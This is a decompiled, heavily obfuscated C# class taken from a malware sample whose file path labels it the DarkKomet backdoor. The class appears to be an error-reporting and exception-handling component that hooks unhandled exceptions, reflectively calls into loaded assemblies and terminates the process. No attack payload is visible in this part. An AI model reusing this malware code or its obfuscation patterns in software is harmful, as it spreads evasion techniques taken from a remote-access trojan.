// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0003;
using \u007F\u0004;
using System;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.Threading;
using System.Web.Services.Protocols;

namespace \u007F\u0004
{
  internal abstract class \u0091\u0004
  {
    private static readonly bool \u0001 = Convert.ToBoolean(\u0002.\u0002\u0002(2809));
    private static readonly string \u0002 = \u0002.\u0002\u0002(679);
    private static \u0091\u0004 \u0003;
    private IWebProxy \u0004;
    private EventHandler \u0005;
    private \u0086\u0004 \u0006;

    protected abstract void \u008B\u0005([In] \u0082\u0004 obj0);

    protected abstract void \u008C\u0005([In] \u0080\u0004 obj0);

    protected abstract void \u008D\u0005([In] \u0084\u0004 obj0);

    [SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)]
    public static void \u008E\u0005([In] \u0091\u0004 obj0)
    {
      if (obj0 == null)
        return;
      \u0091\u0004.\u0003 = obj0;
      \u000E\u0003.\u009E\u0002().UnhandledException += new UnhandledExceptionEventHandler(obj0.\u0006\u0002);
      \u0093\u0004.\u0014\u0007(new ThreadExceptionEventHandler(obj0.\u0006\u0002));
    }

    [SpecialName]
    private static \u0091\u0004 \u0006\u0002()
    {
      int index;
      Type[] typeArray;
      if (true)
      {
        if (\u0091\u0004.\u0003 == null)
        {
          Type[] types = \u0098\u0003.\u0010\u0005().GetTypes();
          if (true)
            goto label_15;
label_2:
          if (true)
          {
            index = 0;
            goto label_12;
          }
          else
            goto label_12;
label_15:
          typeArray = types;
          goto label_2;
        }
        else
          goto label_14;
      }
label_4:
      Type type;
      // ISSUE: type reference
      if ((object) \u0086\u0002.\u007E\u0090\u0003((object) type) == (object) \u0082\u0003.\u008C\u0003(__typeref (\u0091\u0004)))
      {
        try
        {
          if (true)
          {
            if (true)
            {
              \u0091\u0004.\u0003 = (\u0091\u0004) \u0007\u0003.\u0097\u0002(type, true);
              if (\u0091\u0004.\u0003 != null)
                goto label_14;
            }
            else
              goto label_14;
          }
          else
            goto label_14;
        }
        catch
        {
        }
      }
label_10:
      int num1 = index;
      int num2 = 1;
label_11:
      int num3 = num1 + num2;
      if (true)
        index = num3;
label_12:
      int num4 = index;
      int length = typeArray.Length;
      if (false)
      {
        num2 = length;
        num1 = num4;
        goto label_11;
      }
      else if (num4 < length)
      {
        object obj = (object) typeArray[index];
        if (true)
          goto label_17;
label_3:
        if ((object) type == null || (object) \u0086\u0002.\u007E\u0090\u0003((object) type) == null)
          goto label_10;
        else
          goto label_4;
label_17:
        type = (Type) obj;
        goto label_3;
      }
label_14:
      return \u0091\u0004.\u0003;
    }

    public static void \u008F\u0005([In] Exception obj0, [In] object[] obj1)
    {
      if (obj0 != null)
        goto label_10;
label_8:
      \u0089\u0004.\u0081\u0005(obj0, obj1);
      do
      {
        \u0091\u0004.\u0006\u0002().\u0006\u0002(obj0, false);
      }
      while (false);
      return;
label_10:
      if (obj0 is SecurityException)
      {
        int num;
        for (int index = \u0091\u0004.\u0002 == \u0002.\u0002\u0002(679) ? 1 : 0; index != 0; index = num)
        {
          num = \u0091\u0004.\u0006\u0002().\u0006\u0002((SecurityException) obj0) ? 1 : 0;
          if (true)
          {
            if (num != 0)
            {
              if (true)
                return;
              goto label_10;
            }
            else
              break;
          }
        }
        goto label_8;
      }
      else
        goto label_8;
    }

    public static Exception \u0090\u0005([In] Exception obj0, [In] object[] obj1)
    {
      \u0091\u0004.\u0091\u0005(obj0, obj1);
      return (Exception) new SoapException(\u0082\u0002.\u007E\u0086\u0002((object) obj0), SoapException.ServerFaultCode);
    }

    public static void \u0091\u0005([In] Exception obj0, [In] object[] obj1)
    {
      try
      {
        if ((object) obj0.GetType() == (object) typeof (Exception) && \u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u0086\u0002((object) obj0), \u0002.\u0002\u0002(2580)))
          obj0 = \u001D\u0002.\u007E\u0088\u0002((object) obj0);
        else
          \u0089\u0004.\u0081\u0005(obj0, obj1);
        \u0091\u0004.\u0006\u0002().\u0006\u0002(obj0, true);
      }
      catch
      {
      }
    }

    private void \u0006\u0002([In] object obj0, [In] ThreadExceptionEventArgs obj1)
    {
      try
      {
        Exception exception1;
        do
        {
          Exception exception2 = obj1.Exception;
          if (true)
            goto label_7;
label_1:
          continue;
label_7:
          exception1 = exception2;
          goto label_1;
        }
        while (false);
        Type type1 = exception1.GetType();
        if (true)
          goto label_8;
label_3:
        Type type2;
        if (\u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u0086\u0003((object) type2), \u0002.\u0002\u0002(2593)) && \u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u008E\u0003((object) type2), \u0002.\u0002\u0002(2618)))
        {
          Exception exception3 = (Exception) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type2, \u0002.\u0002\u0002(2663)), (object) exception1);
          if (true)
            exception1 = exception3;
        }
        if (exception1 is SecurityException && \u008E\u0002.\u0006\u0002(\u0091\u0004.\u0002, \u0002.\u0002\u0002(679)) && this.\u0006\u0002(exception1 as SecurityException))
          return;
        this.\u0006\u0002(exception1, true);
        return;
label_8:
        type2 = type1;
        goto label_3;
      }
      catch
      {
      }
    }

    private void \u0006\u0002([In] object obj0, [In] UnhandledExceptionEventArgs obj1)
    {
      try
      {
        if (obj1.ExceptionObject is SecurityException)
        {
          while (true)
          {
            int num = \u0091\u0004.\u0002 == \u0002.\u0002\u0002(679) ? 1 : 0;
            if (true)
            {
              if (num != 0 && this.\u0006\u0002(\u008C\u0002.\u007E\u0007\u0004((object) obj1) as SecurityException))
                num = 0;
              else
                goto label_8;
            }
            if (num == 0)
              break;
          }
          return;
        }
label_8:
        while (\u008C\u0002.\u007E\u0007\u0004((object) obj1) is Exception)
        {
          if (true)
          {
            this.\u0006\u0002((Exception) \u008C\u0002.\u007E\u0007\u0004((object) obj1), !\u008B\u0002.\u007E\u0008\u0004((object) obj1));
            break;
          }
        }
      }
      catch
      {
      }
    }

    protected virtual Guid \u0092\u0005() => Guid.Empty;

    private bool \u0006\u0002([In] SecurityException obj0)
    {
      \u0084\u0004 obj1 = new \u0084\u0004(obj0);
      \u0084\u0004 obj2;
      if (true)
        obj2 = obj1;
      this.\u008D\u0005(obj2);
      int num1;
      do
      {
        int num2 = obj2.\u0011\u0005() ? 1 : 0;
        while (true)
        {
          if (num2 != 0)
          {
            num1 = 0;
            if (num1 == 0)
            {
              if (false)
                num2 = num1;
              else
                break;
            }
            else
              goto label_6;
          }
          else
            goto label_7;
        }
        return num1 != 0;
label_7:
        if (obj2.\u0002\u0005())
          goto label_10;
      }
      while (false);
      goto label_9;
label_6:
      return num1 != 0;
label_9:
      \u008F\u0004.\u0015\u0007();
label_10:
      return true;
    }

    private void \u0006\u0002([In] Exception obj0, [In] bool obj1)
    {
      Type type1 = obj0.GetType();
      Type type2;
      if (true)
        type2 = type1;
      if (type2.Name == \u0002.\u0002\u0002(2593) && \u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u008E\u0003((object) type2), \u0002.\u0002\u0002(2618)))
        obj0 = (Exception) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type2, \u0002.\u0002\u0002(2663)), (object) obj0);
      if (true)
        goto label_38;
label_3:
      if (obj0 == null)
        return;
      if (obj0 is ThreadAbortException)
        return;
      bool flag;
      try
      {
        \u0006\u0002.\u0006\u0002 obj2 = new \u0006\u0002.\u0006\u0002(this.\u0092\u0005(), obj0, this.\u0004);
        if (true)
          goto label_18;
label_7:
        \u0006\u0002.\u0006\u0002 obj3;
        obj3.\u0098\u0004(new \u0086\u0004(this.\u0006\u0002));
        obj3.\u0006\u0002(new EventHandler(this.\u0006\u0002));
        obj3.\u0006\u0002(new \u0081\u0004(this.\u0006\u0002));
        \u0082\u0004 obj4 = new \u0082\u0004(obj3, obj0);
        if (true)
          goto label_16;
label_8:
        \u0082\u0004 obj5;
        if (\u0008.\u0006\u0002.\u0006\u0002() != null)
          obj5.\u0006\u0002();
        if (!obj1)
        {
          obj5.\u0006\u0002(false);
          obj5.\u0003\u0005(false);
        }
        else if (\u0091\u0004.\u0001)
        {
          obj5.\u0006\u0002(false);
          obj5.\u0003\u0005(true);
        }
        this.\u008B\u0005(obj5);
        int num = !obj5.\u0002\u0005() ? 1 : 0;
        if (true)
        {
          flag = num != 0;
          goto label_21;
        }
        else
          goto label_21;
label_16:
        obj5 = obj4;
        goto label_8;
label_18:
        obj3 = obj2;
        goto label_7;
      }
      catch (ThreadAbortException ex)
      {
      }
      catch (Exception ex)
      {
        this.\u008C\u0005(new \u0080\u0004(ex));
      }
label_21:
      if (!flag)
        return;
      foreach (Assembly assembly in \u000F\u0003.\u007E\u009F\u0002((object) \u000E\u0003.\u009E\u0002()))
      {
        try
        {
          string str = \u0082\u0002.\u007E\u0001\u0005((object) assembly);
          if (\u0093\u0002.\u007E\u0012\u0002((object) str, \u0002.\u0002\u0002(2688)))
          {
            if (\u0093\u0002.\u007E\u0016\u0002((object) str, \u0002.\u0002\u0002(2713)))
            {
              object obj6 = \u009E\u0003.\u007E\u0081\u0005((object) \u009F\u0003.\u007E\u008B\u0005((object) \u0088\u0003.\u007E\u0095\u0003((object) \u0091\u0003.\u007E\u0002\u0005((object) assembly, \u0002.\u0002\u0002(2746)), \u0002.\u0002\u0002(2783))), (object) null, (object[]) null);
              object obj7 = \u009E\u0003.\u007E\u0081\u0005((object) \u0083\u0003.\u007E\u0091\u0003((object) \u0086\u0002.\u007E\u0099(obj6), \u0002.\u0002\u0002(2796), new Type[0]), obj6, (object[]) null);
            }
          }
        }
        catch
        {
        }
        if (false)
          return;
      }
      try
      {
        \u008F\u0004.\u0015\u0007();
        return;
      }
      catch
      {
        try
        {
          \u0017\u0003.\u0011\u0003(0);
          return;
        }
        catch
        {
          return;
        }
      }
label_38:
      flag = true;
      goto label_3;
    }

    private void \u0006\u0002([In] object obj0, [In] \u0080\u0004 obj1) => this.\u008C\u0005(obj1);

    private void \u0006\u0002([In] object obj0, [In] EventArgs obj1)
    {
      EventHandler eventHandler1 = this.\u0005;
      EventHandler eventHandler2;
      if (true)
        eventHandler2 = eventHandler1;
      if (eventHandler2 == null)
        return;
      eventHandler2(obj0, obj1);
    }

    private void \u0006\u0002([In] object obj0, [In] \u0087\u0004 obj1)
    {
      \u0086\u0004 obj2 = this.\u0006;
      \u0086\u0004 obj3;
      if (true)
        obj3 = obj2;
      if (obj3 == null)
        return;
      obj3(obj0, obj1);
    }
  }
}
